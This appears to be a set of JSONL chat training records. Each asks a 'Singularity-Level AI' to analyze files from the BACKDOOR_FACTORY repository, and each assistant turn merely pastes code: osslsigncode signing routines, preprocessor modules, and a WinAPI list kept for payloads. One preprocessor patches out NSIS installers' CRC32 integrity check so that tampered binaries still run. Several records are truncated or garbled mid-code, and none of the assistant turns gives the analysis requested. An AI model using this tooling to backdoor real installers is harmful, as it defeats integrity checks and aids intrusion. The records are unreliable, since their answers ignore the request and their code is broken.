the nested signature to the current signature\\n\");\n\t\toutsig = cursig;\n\t} else {\n\t\toutsig = sig;\n\t}\n\n\t/* Append signature to outfile */\n\tif (((len = i2d_PKCS7(outsig, NULL)) <= 0) ||\n\t\t(p = OPENSSL_malloc(len)) == NULL)\n\t\tDO_EXIT_1(\"i2d_PKCS - memory allocation failed: %d\\n\", len);\n\ti2d_PKCS7(outsig, &p);\n\tp -= len;\n\tpadlen = (8 - len%8) % 8;\n\n\tif (type == FILE_TYPE_PE) {\n\t\tPUT_UINT32_LE(len+8+padlen, buf);\n\t\tPUT_UINT16_LE(WIN_CERT_REVISION_2, buf + 4);\n\t\tPUT_UINT16_LE(WIN_CERT_TYPE_PKCS_SIGNED_DATA, buf + 6);\n\t\tBIO_write(outdata, buf, 8);\n\t}\n\n\tif (type == FILE_TYPE_PE || type == FILE_TYPE_CAB) {\n\t\tBIO_write(outdata, p, len);\n\n\t\t/* pad (with 0's) asn1 blob to 8 byte boundary */\n\t\tif (padlen > 0) {\n\t\t\tmemset(p, 0, padlen);\n\t\t\tBIO_write(outdata, p, padlen);\n\t\t}\n#ifdef WITH_GSF\n\t} else if (type == FILE_TYPE_MSI) {\n\t\t/* Only output signatures if we're signing. */\n\t\tif (cmd == CMD_SIGN || cmd == CMD_ADD || cmd == CMD_ATTACH) {\n\t\t\tGsfOutput *child = gsf_outfile_new_child(outole, \"\\05DigitalSignature\", FALSE);\n\t\t\tif (!gsf_output_write(child, len, p))\n\t\t\t\tDO_EXIT_1(\"Failed to write MSI 'DigitalSignature' signature to %s\", infile);\n\t\t\tgsf_output_close(child);\n\n\t\t\tif (p_msiex != NULL) {\n\t\t\t\tchild = gsf_outfile_new_child(outole, \"\\05MsiDigitalSignatureEx\", FALSE);\n\t\t\t\tif (!gsf_output_write(child, len_msiex, p_msiex)) {\n\t\t\t\t\tDO_EXIT_1(\"Failed to write MSI 'MsiDigitalSignatureEx' signature to %s\", infile);\n\t\t\t\t}\n\t\t\t\tgsf_output_close(child);\n\t\t\t}\n\n\t\t\tgsf_output_close(GSF_OUTPUT(outole));\n\t\t\tg_object_unref(sink);\n\t\t}\n#endif\n\t}\n\n\tPKCS7_free(sig);\n\tOPENSSL_free(p);\n\nskip_signing:\n\n\tif (type == FILE_TYPE_PE) {\n\t\tif (cmd == CMD_SIGN || cmd == CMD_ADD || cmd == CMD_ATTACH) {\n\t\t\t/* Update signature position and size */\n\t\t\t(void)BIO_seek(outdata, peheader+152+pe32plus*16);\n\t\t\tPUT_UINT32_LE(fileend, buf); /* Previous file end = signature table start */\n\t\t\tBIO_write(outdata, buf, 4);\n\t\t\tPUT_UINT32_LE(len+8+padlen, buf);\n\t\t\tBIO_write(outdata, buf, 4);\n\t\t}\n\t\tif (cmd == CMD_SIGN || cmd == CMD_REMOVE || cmd == CMD_ADD || cmd == CMD_ATTACH)\n\t\t\trecalc_pe_checksum(outdata, peheader);\n\t} else if (type == FILE_TYPE_CAB) {\n\t\t(void)BIO_seek(outdata, 0x30);\n\t\tPUT_UINT32_LE(len+padlen, buf);\n\t\tBIO_write(outdata, buf, 4);\n\t}\n\n\tBIO_free_all(hash);\n\thash = outdata = NULL;\n\n\tif (cmd == CMD_ATTACH) {\n\t\tif (type == FILE_TYPE_PE) {\n\t\t\toutdatasize = get_file_size(outfile);\n\t\t\tif (!outdatasize)\n\t\t\t\tDO_EXIT_0(\"Error verifying result.\\n\");\n\t\t\toutdataverify = map_file(outfile, outdatasize);\n\t\t\tif (!outdataverify)\n\t\t\t\tDO_EXIT_0(\"Error verifying result.\\n\");\n\t\t\tint sigpos = GET_UINT32_LE(outdataverify + peheader + 152 + pe32plus*16);\n\t\t\tint siglen = GET_UINT32_LE(outdataverify + peheader + 152 + pe32plus*16 + 4);\n\t\t\tret = verify_pe_file(outdataverify, peheader, pe32plus, sigpos, siglen, leafhash);\n\t\t\tif (ret) {\n\t\t\t\tDO_EXIT_0(\"Signature mismatch.\\n\");\n\t\t\t}\n\t\t}\n\t\telse if (type == FILE_TYPE_MSI)\n\t\t{\n#ifdef WITH_GSF\n\t\t\tGsfInput *src;\n\t\t\tGsfInfile *ole;\n\n\t\t\tsrc = gsf_input_stdio_new(outfile, NULL);\n\t\t\tif (!src)\n\t\t\t\tDO_EXIT_1(\"Error opening file %s\", outfile);\n\t\t\tole = gsf_infile_msole_new(src, NULL);\n\t\t\tg_object_unref(src);\n\t\t\tret = msi_verify_file(ole, leafhash);\n\t\t\tg_object_unref(ole);\n\t\t\tif (ret) {\n\t\t\t\tDO_EXIT_0(\"Signature mismatch.\\n\");\n\t\t\t}\n#else\n\t\t\tDO_EXIT_1(\"libgsf is not available, msi support is disabled: %s\\n\", infile);\n#endif\n\t\t}\n\t\telse\n\t\t{\n\t\t\tDO_EXIT_1(\"Unknown input type for file: %s\\n\", infile);\n\t\t}\n\t\tprintf(\"Signature successfully attached.\\n\");\n\t}\n else\n\t\tprintf(ret ? \"Failed\\n\" : \"Succeeded\\n\");\n\tcleanup_lib_state();\n\n\treturn ret;\n\nerr_cleanup:\n\tif (pass) {\n\t\tmemset (pass, 0, strlen(pass));\n\t\tpass = NULL;\n\t}\n\tERR_print_errors_fp(stderr);\n\tif (certs && (p7 == NULL || certs != p7->d.sign->cert))\n\t\tsk_X509_free(certs);\n\tif (p7)\n\t\tPKCS7_free(p7);\n\tif (p7x)\n\t\tPKCS7_free(p7x);\n\tif (xcerts)\n\t\tsk_X509_free(xcerts);\n\tif (cert)\n\t\tX509_free(cert);\n\tif (pkey)\n\t\tEVP_PKEY_free(pkey);\n\tif (hash)\n\t\tBIO_free_all(hash);\n\tif (outfile)\n\t\tunlink(outfile);\n\tfprintf(stderr, \"\\nFailed\\n\");\n\tcleanup_lib_state();\n\treturn -1;\n}\n\n/*\nLocal Variables:\n c-basic-offset: 4\n tab-width: 4\n indent-tabs-mode: t\nEnd:\n\n vim: set ts=4 :\n*/\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: osslsigncode/misc/pagehash.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/python\n\nimport struct\nimport sys\nimport hashlib\nfrom pyasn1.type import univ\nfrom pyasn1.codec.ber import encoder, decoder\n\nf = open(sys.argv[1], 'rb')\nfilehdr = f.read(1024)\nif filehdr[0:2] != 'MZ':\n print \"Not a DOS file.\"\n sys.exit(0)\npepos = struct.unpack('"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: osslsigncode/misc/softhsm-example-token/gen-token.sh\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/bin/bash\n\nP11_ENGINE=/usr/lib/engines/engine_pkcs11.so\nP11_MODULE=/usr/lib/softhsm/libsofthsm.so\n\n## \n\nexport SOFTHSM_CONF=softhsm.conf\ncat>config.py<softhsm.conf<openssl.conf<"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: osslsigncode/tests/testsign.sh\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/bin/sh\n\nrm -f putty*.exe\n\nPUTTY_URL=\"http://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe\"\n[ -f putty.exe ] || wget -q -O putty.exe $PUTTY_URL\n[ -f putty.exe ] || curl -o putty.exe $PUTTY_URL\n\nif [ ! -f putty.exe ]; then\n echo \"FAIL: Couldn't download putty.exe\"\n exit 1\nfi\n\nrm -f key.* cert.*\n\nkeytool -genkey \\\n\t-alias selfsigned -keysize 2048 -keyalg RSA -keypass passme -storepass passme -keystore key.ks << EOF\nJohn Doe\nACME In\nACME\nSpringfield\nLaLaLand\nSE\nyes\nEOF\n\n\necho \"Converting key/cert to PKCS12 container\"\nkeytool -importkeystore \\\n\t-srckeystore key.ks -srcstoretype JKS -srckeypass passme -srcstorepass passme -srcalias selfsigned \\\n\t-destkeystore key.p12 -deststoretype PKCS12 -destkeypass passme -deststorepass passme\n\nrm -f key.ks\n\necho \"Converting key to PEM format\"\nopenssl pkcs12 -in key.p12 -passin pass:passme -nocerts -nodes -out key.pem\necho \"Converting key to PEM format (with password)\"\nopenssl rsa -in key.pem -out keyp.pem -passout pass:passme\necho \"Converting key to DER format\"\nopenssl rsa -in key.pem -outform DER -out key.der -passout pass:passme\necho \"Converting key to PVK format\"\nopenssl rsa -in key.pem -outform PVK -pvk-strong -out key.pvk -passout pass:passme\n\necho \"Converting cert to PEM format\"\nopenssl pkcs12 -in key.p12 -passin pass:passme -nokeys -out cert.pem\necho \"Converting cert to SPC format\"\nopenssl crl2pkcs7 -nocrl -certfile cert.pem -outform DER -out cert.spc\n\n\n../osslsigncode sign -spc cert.spc -key key.pem putty.exe putty1.exe\n../osslsigncode sign -certs cert.spc -key keyp.pem -pass passme putty.exe putty2.exe\n../osslsigncode sign -certs cert.pem -key keyp.pem -pass passme putty.exe putty3.exe\n../osslsigncode sign -certs cert.spc -key key.der putty.exe putty4.exe\n../osslsigncode sign -pkcs12 key.p12 -pass passme putty.exe putty5.exe\n../osslsigncode sign -certs cert.spc -key key.pvk -pass passme putty.exe putty6.exe\n\necho \"\"\necho \"\"\n\ncheck=`sha1sum putty[1-9]*.exe | cut -d' ' -f1 | uniq | wc -l`\ncmp putty1.exe putty2.exe && \\\n\tcmp putty2.exe putty3.exe && \\\n\tcmp putty3.exe putty4.exe && \\\n\tcmp putty4.exe putty5.exe && \\\n\tcmp putty5.exe putty6.exe\nif [ $? -ne 0 ]; then\n\techo \"Failure is not an option.\"\nelse\n\techo \"Yes, it works.\"\nfi\n\n\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: preprocessor/debug.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env python\n\n# settings\n# Complete these as you need\n#############################################\n\n# ENABLE preprocessor\nenabled = True \n\n# If you want to keep the temp file for inspection - pre-patch state.\n# THE NAME is self.tmp_file\nkeep_temp = False\n\n# Recheck the file before patching or the next preprocessor\nrecheck_support = False\n\n# file format that this is for (PE, ELF, MACHO, ALL)\n# if not specified the processor will run against all\nfile_format = \"ALL\"\n\n#############################################\n\n\nclass preprocessor:\n\n # REQUIRED\n def __init__(self, BDF):\n \n # REQUIRED -- exposes BDF objects to the preprocessor environment\n self.BDF = BDF\n # You can set a return, just add a check that returns False\n # 'None' does not flag\n self.result = True\n\n # REQUIRED\n def run(self):\n # call your program main here, we're calling print_debug()\n self.print_debug()\n\n return self.result\n\n def print_debug(self):\n print \"*\"*25, \"DEBUG INFO\", \"*\"*25\n\n try:\n for item, data in vars(self.BDF).iteritems():\n # file Items (flItms) will be printed later\n if item == 'flItms':\n continue\n # This will give ARGS info\n print item, \":\" ,data\n \n # BDF functions are exposed | print PE flItms (PE only)\n if 'flItms' in vars(self.BDF):\n self.BDF.print_flItms(self.BDF.flItms)\n\n except Exception, e:\n print \"!\" * 50\n print \"\\t[!] Exception:\", str(e)\n print \"!\" * 50\n\n self.result = False\n\n print \"*\"*25, \"END DEBUG INFO\", \"*\"*25\n\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: preprocessor/nsis_3_0.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env python\n\n# settings\n# Complete these as you need\n#############################################\n\n# ENABLE preprocessor\nenabled = False \n\n# If you want the temp file used in the preprocessor saved\n# THE NAME is self.tmp_file\nkeep_temp = False\n\n# check if file is modified beyond patching support\nrecheck_support = True\n\n# file format that this is for (PE, ELF, MACHO, ALL)\n# if not specified the processor will run against all\nfile_format = \"PE\"\n\n#############################################\n\n# add your imports here\nimport re\n\nclass preprocessor:\n\n # REQUIRED\n def __init__(self, BDF):\n \n # REQUIRED\n self.BDF = BDF\n\n # Other \n self.nsis_binary = False\n\n # REQUIRED\n def run(self):\n # call your program main here\n self.nsis30()\n\n def nsis30(self):\n print '\\tNSIS 3.0 CRC32 Check | Patch Out Preprocessor'\n with open(self.BDF.tmp_file.name, 'r+b') as self.f:\n self.check_NSIS()\n if self.nsis_binary is True:\n print \"\\t[*] NSIS 3.0 Binary loaded\"\n self.patch_crc32_check()\n else:\n print \"\\t[*] NSIS 3.0 Binary NOT loaded\"\n\n def check_NSIS(self):\n check_one = False\n check_two = False\n check_three = False\n \n filecontents = self.f.read()\n \n if 'NSIS Error'in filecontents:\n check_one = True\n \n if 'Installer integrity check has failed.' in filecontents:\n check_two = True\n \n if 'http://nsis.sf.net/NSIS_Error' in filecontents:\n check_three = True\n \n if check_one is True and check_two is True and check_three is True:\n self.nsis_binary = True\n\n \n def patch_crc32_check(self):\n p = re.compile(\"\\x3B\\x45\\x08\\x0F\\x85\\x9C\\x00\\x00\\x00\")\n self.f.seek(0)\n locations = []\n match_loc = 0\n for m in p.finditer(self.f.read()):\n locations.append(m.start())\n \n if len(locations) > 1:\n print \"\\t[*] More than one binary match, picking first\"\n match_loc = locations[0]\n else:\n match_loc = locations[0]\n\n print \"\\t[*] Patch location\", hex(match_loc)\n \n self.f.seek(match_loc + 4)\n self.f.write(\"\\x84\")\n\n \n\n\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: preprocessor/template.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env python\n\n# settings\n# Complete these as you need\n#############################################\n\n# ENABLE preprocessor\nenabled = False\n\n# If you want the temp file used in the preprocessor saved\n# THE NAME is self.tmp_file\nkeep_temp = False\n\n# check if file is modified beyond patching support\nrecheck_support = False \n\n# file format that this is for (PE, ELF, MACHO, ALL)\n# if not specified the processor will run against all\nfile_format = \"ALL\"\n\n#############################################\n\n\nclass preprocessor:\n\n # REQUIRED\n def __init__(self, BDF):\n \n # REQUIRED\n self.BDF = BDF\n # if you want to return a result set it to True\n # and check for failures\n self.result = True\n\n # REQUIRED\n def run(self):\n # call your program main here\n self.hello()\n\n # return a result here, if you want\n return self.result\n\n def hello(self):\n # add a tab for readability\n try:\n\n print '\\t[*] Default Template test complete'\n\n # Of course this doesn't fail\n except Exception, e:\n print \"Why fail?\", str(e)\n self.result = False\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: winapi/winapi.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\n'''\nThis is the start of a super dict of winapis. I will add them as needed\nfor payloads.\n'''\n\nwinapi = {\n 'kernel32.dll': ['AcquireSRWLockExclusive',\n 'AcquireSRWLockShared',\n 'ActivateActCtx',\n 'AddAtomA',\n 'AddAtomW',\n 'AddConsoleAliasA',\n 'AddConsoleAliasW',\n 'AddDllDirectory',\n 'AddIntegrityLabelToBoundaryDescriptor',\n 'AddLocalAlternateComputerNameA',\n 'AddLocalAlternateComputerNameW',\n 'AddRefActCtx',\n 'AddSIDToBoundaryDescriptor',\n 'AddSecureMemoryCacheCallback',\n 'AddVectoredContinueHandler',\n 'AddVectoredExceptionHandler',\n 'AdjustCalendarDate',\n 'AllocConsole',\n 'AllocateUserPhysicalPages',\n 'AllocateUserPhysicalPagesNuma',\n 'ApplicationRecoveryFinished',\n 'ApplicationRecoveryInProgress',\n 'AreFileApisANSI',\n 'AssignProcessToJobObject',\n 'AttachConsole',\n 'BackupRead',\n 'BackupSeek',\n 'BackupWrite',\n 'BaseCheckAppcompatCache',\n 'BaseCheckAppcompatCacheEx',\n 'BaseCheckRunApp',\n 'BaseCleanupAppcompatCacheSupport',\n 'BaseDllReadWriteIniFile',\n 'BaseDumpAppcompatCache',\n 'BaseFlushAppcompatCache',\n 'BaseFormatObjectAttributes',\n 'BaseFormatTimeOut',\n 'BaseGenerateAppCompatData',\n 'BaseGetNamedObjectDirectory',\n 'BaseInitAppcompatCacheSupport',\n 'BaseIsAppcompatInfrastructureDisabled',\n 'BaseQueryModuleData',\n 'BaseSetLastNTError',\n 'BaseThreadInitThunk',\n 'BaseUpdateAppcompatCache',\n 'BaseVerifyUnicodeString',\n 'Basep8BitStringToDynamicUnicodeString',\n 'BasepAllocateActivationContextActivationBlock',\n 'BasepAnsiStringToDynamicUnicodeString',\n 'BasepCheckAppCompat',\n 'BasepCheckBadapp',\n 'BasepCheckWinSaferRestrictions',\n 'BasepFreeActivationContextActivationBlock',\n 'BasepFreeAppCompatData',\n 'BasepMapModuleHandle',\n 'Beep',\n 'BeginUpdateResourceA',\n 'BeginUpdateResourceW',\n 'BindIoCompletionCallback',\n 'BuildCommDCBA',\n 'BuildCommDCBAndTimeoutsA',\n 'BuildCommDCBAndTimeoutsW',\n 'BuildCommDCBW',\n 'CallNamedPipeA',\n 'CallNamedPipeW',\n 'CallbackMayRunLong',\n 'CancelDeviceWakeupRequest',\n 'CancelIo',\n 'CancelIoEx',\n 'CancelSynchronousIo',\n 'CancelThreadpoolIo',\n 'CancelTimerQueueTimer',\n 'CancelWaitableTimer',\n 'ChangeTimerQueueTimer',\n 'CheckElevation',\n 'CheckElevationEnabled',\n 'CheckForReadOnlyResource',\n 'CheckNameLegalDOS8Dot3A',\n 'CheckNameLegalDOS8Dot3W',\n 'CheckRemoteDebuggerPresent',\n 'ClearCommBreak',\n 'ClearCommError',\n 'CloseConsoleHandle',\n 'CloseHandle',\n 'ClosePrivateNamespace',\n 'CloseProfileUserMapping',\n 'CloseThreadpool',\n 'CloseThreadpoolCleanupGroup',\n 'CloseThreadpoolCleanupGroupMembers',\n 'CloseThreadpoolIo',\n 'CloseThreadpoolTimer',\n 'CloseThreadpoolWait',\n 'CloseThreadpoolWork',\n 'CmdBatNotification',\n 'CommConfigDialogA',\n 'CommConfigDialogW',\n 'CompareCalendarDates',\n 'CompareFileTime',\n 'CompareStringA',\n 'CompareStringEx',\n 'CompareStringOrdinal',\n 'CompareStringW',\n 'ConnectNamedPipe',\n 'ConsoleMenuControl',\n 'ContinueDebugEvent',\n 'ConvertCalDateTimeToSystemTime',\n 'ConvertDefaultLocale',\n 'ConvertFiberToThread',\n 'ConvertNLSDayOfWeekToWin32DayOfWeek',\n 'ConvertSystemTimeToCalDateTime',\n 'ConvertThreadToFiber',\n 'ConvertThreadToFiberEx',\n 'CopyContext',\n 'CopyFileA',\n 'CopyFileExA',\n 'CopyFileExW',\n 'CopyFileTransactedA',\n 'CopyFileTransactedW',\n 'CopyFileW',\n 'CopyLZFile',\n 'CreateActCtxA',\n 'CreateActCtxW',\n 'CreateBoundaryDescriptorA',\n 'CreateBoundaryDescriptorW',\n 'CreateConsoleScreenBuffer',\n 'CreateDirectoryA',\n 'CreateDirectoryExA',\n 'CreateDirectoryExW',\n 'CreateDirectoryTransactedA',\n 'CreateDirectoryTransactedW',\n 'CreateDirectoryW',\n 'CreateEventA',\n 'CreateEventExA',\n 'CreateEventExW',\n 'CreateEventW',\n 'CreateFiber',\n 'CreateFiberEx',\n 'CreateFileA',\n 'CreateFileMappingA',\n 'CreateFileMappingNumaA',\n 'CreateFileMappingNumaW',\n 'CreateFileMappingW',\n 'CreateFileTransactedA',\n 'CreateFileTransactedW',\n 'CreateFileW',\n 'CreateHardLinkA',\n 'CreateHardLinkTransactedA',\n 'CreateHardLinkTransactedW',\n 'CreateHardLinkW',\n 'CreateIoCompletionPort',\n 'CreateJobObjectA',\n 'CreateJobObjectW',\n 'CreateJobSet',\n 'CreateMailslotA',\n 'CreateMailslotW',\n 'CreateMemoryResourceNotification',\n 'CreateMutexA',\n 'CreateMutexExA',\n 'CreateMutexExW',\n 'CreateMutexW',\n 'CreateNamedPipeA',\n 'CreateNamedPipeW',\n 'CreatePipe',\n 'CreatePrivateNamespaceA',\n 'CreatePrivateNamespaceW',\n 'CreateProcessA',\n 'CreateProcessAsUserW',\n 'CreateProcessInternalA',\n 'CreateProcessInternalW',\n 'CreateProcessW',\n 'CreateRemoteThread',\n 'CreateRemoteThreadEx',\n 'CreateSemaphoreA',\n 'CreateSemaphoreExA',\n 'CreateSemaphoreExW',\n 'CreateSemaphoreW',\n 'CreateSocketHandle',\n 'CreateSymbolicLinkA',\n 'CreateSymbolicLinkTransactedA',\n 'CreateSymbolicLinkTransactedW',\n 'CreateSymbolicLinkW',\n 'CreateTapePartition',\n 'CreateThread',\n 'CreateThreadpool',\n 'CreateThreadpoolCleanupGroup',\n 'CreateThreadpoolIo',\n 'CreateThreadpoolTimer',\n 'CreateThreadpoolWait',\n 'CreateThreadpoolWork',\n 'CreateTimerQueue',\n 'CreateTimerQueueTimer',\n 'CreateToolhelp32Snapshot',\n 'CreateWaitableTimerA',\n 'CreateWaitableTimerExA',\n 'CreateWaitableTimerExW',\n 'CreateWaitableTimerW',\n 'CtrlRoutine',\n 'DeactivateActCtx',\n 'DebugActiveProcess',\n 'DebugActiveProcessStop',\n 'DebugBreak',\n 'DebugBreakProcess',\n 'DebugSetProcessKillOnExit',\n 'DecodePointer',\n 'DecodeSystemPointer',\n 'DefineDosDeviceA',\n 'DefineDosDeviceW',\n 'DelayLoadFailureHook',\n 'DeleteAtom',\n 'DeleteBoundaryDescriptor',\n 'DeleteCriticalSection',\n 'DeleteFiber',\n 'DeleteFileA',\n 'DeleteFileTransactedA',\n 'DeleteFileTransactedW',\n 'DeleteFileW',\n 'DeleteProcThreadAttributeList',\n 'DeleteTimerQueue',\n 'DeleteTimerQueueEx',\n 'DeleteTimerQueueTimer',\n 'DeleteVolumeMountPointA',\n 'DeleteVolumeMountPointW',\n 'DeviceIoControl',\n 'DisableThreadLibraryCalls',\n 'DisableThreadProfiling',\n 'DisassociateCurrentThreadFromCallback',\n 'DisconnectNamedPipe',\n 'DnsHostnameToComputerNameA',\n 'DnsHostnameToComputerNameW',\n 'DosDateTimeToFileTime',\n 'DosPathToSessionPathA',\n 'DosPathToSessionPathW',\n 'DuplicateConsoleHandle',\n 'DuplicateHandle',\n 'EnableThreadProfiling',\n 'EncodePointer',\n 'EncodeSystemPointer',\n 'EndUpdateResourceA',\n 'EndUpdateResourceW',\n 'EnterCriticalSection',\n 'EnumCalendarInfoA',\n 'EnumCalendarInfoExA',\n 'EnumCalendarInfoExEx',\n 'EnumCalendarInfoExW',\n 'EnumCalendarInfoW',\n 'EnumDateFormatsA',\n 'EnumDateFormatsExA',\n 'EnumDateFormatsExEx',\n 'EnumDateFormatsExW',\n 'EnumDateFormatsW',\n 'EnumLanguageGroupLocalesA',\n 'EnumLanguageGroupLocalesW',\n 'EnumResourceLanguagesA',\n 'EnumResourceLanguagesExA',\n 'EnumResourceLanguagesExW',\n 'EnumResourceLanguagesW',\n 'EnumResourceNamesA',\n 'EnumResourceNamesExA',\n 'EnumResourceNamesExW',\n 'EnumResourceNamesW',\n 'EnumResourceTypesA',\n 'EnumResourceTypesExA',\n 'EnumResourceTypesExW',\n 'EnumResourceTypesW',\n 'EnumSystemCodePagesA',\n 'EnumSystemCodePagesW',\n 'EnumSystemFirmwareTables',\n 'EnumSystemGeoID',\n 'EnumSystemLanguageGroupsA',\n 'EnumSystemLanguageGroupsW',\n 'EnumSystemLocalesA',\n 'EnumSystemLocalesEx',\n 'EnumSystemLocalesW',\n 'EnumTimeFormatsA',\n 'EnumTimeFormatsEx',\n 'EnumTimeFormatsW',\n 'EnumUILanguagesA',\n 'EnumUILanguagesW',\n 'EnumerateLocalComputerNamesA',\n 'EnumerateLocalComputerNamesW',\n 'EraseTape',\n 'EscapeCommFunction',\n 'ExitProcess',\n 'ExitThread',\n 'ExitVDM',\n 'ExpandEnvironmentStringsA',\n 'ExpandEnvironmentStringsW',\n 'ExpungeConsoleCommandHistoryA',\n 'ExpungeConsoleCommandHistoryW',\n 'FatalAppExitA',\n 'FatalAppExitW',\n 'FatalExit',\n 'FileTimeToDosDateTime',\n 'FileTimeToLocalFileTime',\n 'FileTimeToSystemTime',\n 'FillConsoleOutputAttribute',\n 'FillConsoleOutputCharacterA',\n 'FillConsoleOutputCharacterW',\n 'FindActCtxSectionGuid',\n 'FindActCtxSectionStringA',\n 'FindActCtxSectionStringW',\n 'FindAtomA',\n 'FindAtomW',\n 'FindClose',\n 'FindCloseChangeNotification',\n 'FindFirstChangeNotificationA',\n 'FindFirstChangeNotificationW',\n 'FindFirstFileA',\n 'FindFirstFileExA',\n 'FindFirstFileExW',\n 'FindFirstFileNameTransactedW',\n 'FindFirstFileNameW',\n 'FindFirstFileTransactedA',\n 'FindFirstFileTransactedW',\n 'FindFirstFileW',\n 'FindFirstStreamTransactedW',\n 'FindFirstStreamW',\n 'FindFirstVolumeA',\n 'FindFirstVolumeMountPointA',\n 'FindFirstVolumeMountPointW',\n 'FindFirstVolumeW',\n 'FindNLSString',\n 'FindNLSStringEx',\n 'FindNextChangeNotification',\n 'FindNextFileA',\n 'FindNextFileNameW',\n 'FindNextFileW',\n 'FindNextStreamW',\n 'FindNextVolumeA',\n 'FindNextVolumeMountPointA',\n 'FindNextVolumeMountPointW',\n 'FindNextVolumeW',\n 'FindResourceA',\n 'FindResourceExA',\n 'FindResourceExW',\n 'FindResourceW',\n 'FindStringOrdinal',\n 'FindVolumeClose',\n 'FindVolumeMountPointClose',\n 'FlsAlloc',\n 'FlsFree',\n 'FlsGetValue',\n 'FlsSetValue',\n 'FlushConsoleInputBuffer',\n 'FlushFileBuffers',\n 'FlushInstructionCache',\n 'FlushProcessWriteBuffers',\n 'FlushViewOfFile',\n 'FoldStringA',\n 'FoldStringW',\n 'FormatMessageA',\n 'FormatMessageW',\n 'FreeConsole',\n 'FreeEnvironmentStringsA',\n 'FreeEnvironmentStringsW',\n 'FreeLibrary',\n 'FreeLibraryAndExitThread',\n 'FreeLibraryWhenCallbackReturns',\n 'FreeResource',\n 'FreeUserPhysicalPages',\n 'GenerateConsoleCtrlEvent',\n 'GetACP',\n 'GetActiveProcessorCount',\n 'GetActiveProcessorGroupCount',\n 'GetApplicationRecoveryCallback',\n 'GetApplicationRestartSettings',\n 'GetAtomNameA',\n 'GetAtomNameW',\n 'GetBinaryType',\n 'GetBinaryTypeA',\n 'GetBinaryTypeW',\n 'GetCPInfo',\n 'GetCPInfoExA',\n 'GetCPInfoExW',\n 'GetCalendarDateFormat',\n 'GetCalendarDateFormatEx',\n 'GetCalendarDaysInMonth',\n 'GetCalendarDifferenceInDays',\n 'GetCalendarInfoA',\n 'GetCalendarInfoEx',\n 'GetCalendarInfoW',\n 'GetCalendarMonthsInYear',\n 'GetCalendarSupportedDateRange',\n 'GetCalendarWeekNumber',\n 'GetComPlusPackageInstallStatus',\n 'GetCommConfig',\n 'GetCommMask',\n 'GetCommModemStatus',\n 'GetCommProperties',\n 'GetCommState',\n 'GetCommTimeouts',\n 'GetCommandLineA',\n 'GetCommandLineW',\n 'GetCompressedFileSizeA',\n 'GetCompressedFileSizeTransactedA',\n 'GetCompressedFileSizeTransactedW',\n 'GetCompressedFileSizeW',\n 'GetComputerNameA',\n 'GetComputerNameExA',\n 'GetComputerNameExW',\n 'GetComputerNameW',\n 'GetConsoleAliasA',\n 'GetConsoleAliasExesA',\n 'GetConsoleAliasExesLengthA',\n 'GetConsoleAliasExesLengthW',\n 'GetConsoleAliasExesW',\n 'GetConsoleAliasW',\n 'GetConsoleAliasesA',\n 'GetConsoleAliasesLengthA',\n 